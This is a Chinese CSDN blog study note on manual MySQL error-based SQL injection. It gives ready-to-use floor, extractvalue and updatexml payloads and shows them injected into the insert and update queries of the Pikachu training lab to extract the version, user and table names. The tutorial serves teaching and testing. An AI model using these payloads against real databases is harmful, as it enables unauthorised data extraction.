mysql报错手工注入_Mysql报错型手工注入

本文介绍了MySQL报错注入的原理和常见函数,通过实例展示了如何利用报错注入进行数据探测,包括'insert'和'update'两种情况,并强调了两者之间的区别。同时,作者提醒读者学习交流的目的,禁止非法使用。
摘要由CSDN通过智能技术生成

👇常用报错函数注入公式👇

No.1:floor

' and (select  count(*)  from information_schema.tables group by concat((select version()),floor(rand(0)*2)))#

No.2:extractvalue

' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

No.3:updatexml

' and updatexml(1,concat(0x7e,(select user())),0x7e)#

9628cec127ea11b22786c63f648fd07c.pngstart

9628cec127ea11b22786c63f648fd07c.png

一个常见注册功能点输入特殊字符,导致报错

8f6728182a7a16d22ffd0ba03aca68bf.png

查看php源码得到数据查询语句

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

代入公式No.1

' or (select count(*)  from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '

传入数据库查询语句:

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) or '']}',md5('{$getdata['test']}'),'{$getdata['']}','{$getdata['']}','{$getdata['']}','{$getdata['add']}')

方便查看我直接截个代码图

d304b995ae7f6992391c3c8aea4d5acc.png

代码图解解释

1.红色框就是测试payload

2.test就是必填的密码

3.后面分别就是性别、手机、地址,因为没填所以为NULL

查询结果:

succed!

a51a2558bcb45c7b087eff91ece08c77.png

尝试查询pikachu数据库里的第一个数据表,payload如下:

' or (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),floor(rand(0)*2))) or '

结果

1184e80b485673761bd133e7c032052e.png

代入公式No.2

' or extractvalue(1,concat(0x7e,(select user()),0x7e)) or '

结果:sussed!

980ca885b45b13a762e684cc8bfa060b.png

代入公式No.3

' or updatexml(1,concat(0x7e,(select user())),0x7e) or '

结果:sussed!

bc772fd8fdbff00c768bb4495986d085.png

02

“update”注入

一个正常的修改个人资料数据包

d0c0b0c56336990f563a1ab857cd4665.png

调试数据包测试注入点,在参数后加入特殊字符报错

3ca814824086e678c2261f25276ad9d0.png

查看PHP源代码的核心代码

0d2f39687acb984067e0bae6f59957eb.png

解释:

1.黄色框是传入数据库查询语句

2.红色箭头指向的四个参数是存入数据库的参数

利用公式No.3注入,因为这个比较简单直白,payload如下:

' and updatexml(1,concat(0x7e,(select user())),0x7e)#

则传入数据库的语句是

update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#']}',phonenum='{$getdata['1']}',address='{$getdata['1']}',email='{$getdata['1']}' where username='{$_SESSION['sqli']['username']}'

5196f7de61d7c384925bf3a8b104b516.png

因为payload后的#号把后面语句已经注释,所以实际执行语句

update member set sex='{$getdata['' and updatexml(1,concat(0x7e,(select user())),0x7e)#

结果:sussed!

1080773c2e689cdd60da5dea9a49358a.png

01

“insert注入”和“update注入”区别

从“insert注入”和“update注入”的注入语句就可以看出有少许差异,而实质上确实有点区别。“insert注入”的主要功能点在插入表单,所以注入前后都需要用or来连接注入,不能用and连接并且后面语句不能注释,否则传入Mysql数据库的查询语句就会出现语句逻辑出错,无法进行注入。

“update注入”的主要功能点在更新表单,查看PHP源码的传入数据库命令可知,在这种情况下如果存在报错注入,可以直接用and连接注入语句注释后面语句,实际传入数据库的语句并不会出现逻辑错误。

a6da758b9cf12d165a940ab894f8f959.pngEnd

a6da758b9cf12d165a940ab894f8f959.png

!声明:本文章纯属于个人学习笔记,仅提供学习交流,切勿用于违法犯罪。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值